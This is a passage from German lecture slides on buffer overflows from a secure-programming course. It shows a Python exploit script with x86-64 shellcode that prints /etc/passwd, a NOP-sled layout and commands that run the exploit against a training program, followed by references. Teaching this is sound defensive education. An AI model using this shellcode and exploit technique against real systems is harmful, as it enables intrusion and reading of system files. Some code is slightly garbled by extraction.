Padding = 222−Länge Shellcode−Länge Adresse

= 222−82− 6

= 134

• Da die Adresse von buffer von der Länge des übergebenen Strings abhängt, muss das Skript entsprechend angepasst werden.

(32)

Buffer Overflows Shellcode

Ausführen von un1k0d3r-payload.py

Das Skript wird folgendermaßen verwendet:

> ./ hackme $(./ un1k0d3r -payload.py 7fffffffddb0 134)

Bemerkungen:

• Die Ausgabe des Skripts wird als Eingabe an das Programm hackme übergeben.

• Wird der Shellcode korrekt ausgeführt, dann wird der Inhalt der Datei /etc/passwd ausgegeben.

• Der Wert der Rücksprungadresse ist von Fall zu Fall verschieden.

Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 63 / 73

Buffer Overflows Shellcode

Bemerkungen zu un1k0d3r-payload.py

• Um den Shellcode erfolgreich auszuführen, müssen die Größe des Paddings und die Rücksprungadresse aufeinander abgestimmt werden.

• Enthält die Rücksprungadresse ein oder mehrere Null-Bytes, dann ist der Shellcode nicht funktionsfähig.

• Anpassung des Python Skripts:

▷ Einsatz eines NOP-Sleds (Folge von NOP Befehlen) zur flexibleren Wahl der Rücksprungadresse

▷ Padding durch wiederholtes Schreiben der Rücksprungadresse

(33)

Buffer Overflows Shellcode

Aufbau des erzeugten Datenblocks

Der erweiterte Shellcode hat folgenden Aufbau:

NOP-Sled Shell Code Adresse Adresse

Bemerkung: Die Adresse liegt „irgendwo“ im NOP-Sled.

Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 65 / 73

Buffer Overflows Shellcode

Anpassung des Skripts un1k0d3r-payload.py

• Die Rücksprungadresse wird über die Kommandozeile festgelegt.

• Dem Shellcode wird eine Folge von NOPs vorangestellt, deren Länge über die Kommandozeile angegeben wird.

• Die Länge des NOP Sleds wird bei der Berechnung des Paddings berücksichtigt.

(34)

Buffer Overflows Shellcode

Skript un1k0d3r-payload-v2.py

#! /usr/bin/ python3 import sys

if len(sys.argv)==4:

address=sys.argv [1]. decode("hex") address=address [:: -1]

padding_size = int(sys.argv [2]) nop_size = int (sys.argv [3]) else:

print("Usage:", sys.argv [0], "address padding_size nop_size") sys.exit (1)

shellcode="\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02" \ + "\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24" \ + "\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f" \ + "\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0" \ + "\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff" \ + "\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41"

print("\x90" * nop_size + shellcode + "A" \

* (padding_size -nop_size) + address)

Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 67 / 73

Buffer Overflows Shellcode

Ausführen des Exploits

Annahmen:

• Länge des Paddings: 134 Byte

• Adresse von buffer: 7fffffffdd00 Befehl:

> ./ hackme $(./ un1k0d3r -payload -v2.py 7fffffffdd01 134 1)

(35)

Zusammenfassung

Zusammenfassung

• Durch fehlerhafte Programmierung entstehen Schwachstellen in C-Programmen.

• Ein „Klassiker“ ist die inkorrekte Nutzung von strcpy, um Strings zu kopieren.

• Über eine derartige Schwachstelle kann ein Buffer Overflow ausgeführt werden, um Schadkode auszuführen.

• Moderne Betriebssysteme verfügen über zahlreiche

Schutzmechanismen gegen Buffer Overflows wie z.B. ASLR.

Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 69 / 73

Literatur

Literatur I

[Cha16] Ryan A. Chapman. Linux System Call Table for x86_64.

2016. url:

http://blog.rchapman.org/post/36801038863/linux- system-call-table-for-x86-64 (besucht am

01. 04. 2020).

[Hai13] Marc Haisenko. GDB Cheatsheet. 2013. url:

http://darkdust.net/files/GDB%20Cheat%20Sheet.pdf (besucht am 18. 08. 2016).

[Hub+13] Jan Hubička u. a. System V Application Binary Interface.

AMD64 Architecture Processor Supplement. Intel. 17. Juni 2013. url: https://software.intel.com/sites/

default/files/article/402129/mpx-linux64-abi.pdf (besucht am 01. 04. 2020).

(36)

Literatur

Literatur II

[Int19] Intel, Hrsg. Intel 64 and IA-32 Architectures Software Developer Manuals. 2019. url: http://www.intel.com/

content/www/us/en/processors/architectures- software-developer-manuals.html (besucht am 01. 04. 2020).

[Nar07] Ram Narayan. Linux assemblers: A comparison of GAS and NASM. IBM. 17. Okt. 2007. url: http:

//www.ibm.com/developerworks/library/l-gas-nasm (besucht am 01. 04. 2020).

[One96] Aleph One. Smashing The Stack For Fun And Profit.

Phrack.org. 1996. url:

http://phrack.org/issues/49/14.html#article (besucht am 22. 11. 2016).

Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 71 / 73

Literatur

Literatur III

[San97a] Santa Cruz Operation, Hrsg. System V Application Binary Interface. 18. März 1997. url:

http://www.sco.com/developers/devspecs/gabi41.pdf (besucht am 01. 04. 2020).

[San97b] Santa Cruz Operation, Hrsg. System V Application Binary Interface Intel836 Architecture Processor Supplement.

19. März 1997. url: http:

//www.sco.com/developers/devspecs/abi386-4.pdf (besucht am 01. 04. 2020).

[SPS10] Richard Stallman, Roland Pesch und Stan Shebs. Debugging with GDB. 2010. url: http://sourceware.org/gdb/

current/onlinedocs/gdb.pdf.gz (besucht am 22. 08. 2016).

(37)

Literatur

Literatur IV

[SPS20] Richard Stallman, Roland Pesch und Stan Shebs, Hrsg. GDB:

The GNU Debugger. GNU’s Not Unix. 7. März 2020. url:

https://www.gnu.org/software/gdb/documentation (besucht am 01. 04. 2020).

[Un114] Mr. Un1K0d3r. 64 Bits Linux Stack Based Buffer Overflow.

Packet Storm. 2014. url: https:

//dl.packetstormsecurity.net/papers/attack/64bit- overflow.pdf (besucht am 01. 04. 2020).

Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 73 / 73

Referenzen

ÄHNLICHE DOKUMENTE

Karg (HS Aalen) Sichere Programmierung Einführung in Python 3 / 76.. Einleitung Wissenswertes

• Wird ein C-Programm ausgeführt, dann befindet sich zu jedem Zeitpunkt der Ausführung mindestens ein Stack Frame auf dem Stack. • Die in einem Stack Frame

Bilden beispiels- weise Tanja Müller und Max Maier die Gruppe 1, dann lautet der Dateiname für die Abgabe von Praktikum 1 sp-p1-g1-maier-mueller.tgz.. • Die Verzeichnisstruktur

Diese Funktion erhält als Eingabe zwei Zahlen a und b sowie einen String cipher_text und soll den Text unter Einsatz der Affinen Chiffre entschlüsseln.. Das Ergebnis soll als String

Aufgabe 4 (Berechnung einer Summe). Der Source Code für diese Ausgabe befindet sich in der Datei gdb-uebung-4.c.. a) Analysieren Sie den in der Datei enthaltenen

FiBL Schweiz (gegründet 1973), FiBL Deutschland (2001), FiBL Österreich (2004), ÖMKi (ungarisches Forschungsinstitut für biologischen Landbau, 2011), FiBL Frankreich (2017) und

For accelerated painting operations, the processor writes to a few sfb registers, like the foreground and background pixels and the mode register, then writes 32-bit data words into

The Perq, the Alto, and the more recent Syte [2] workstations refresh their displays directly from main memory (frame-buffer resident, or FBR), while the Apollo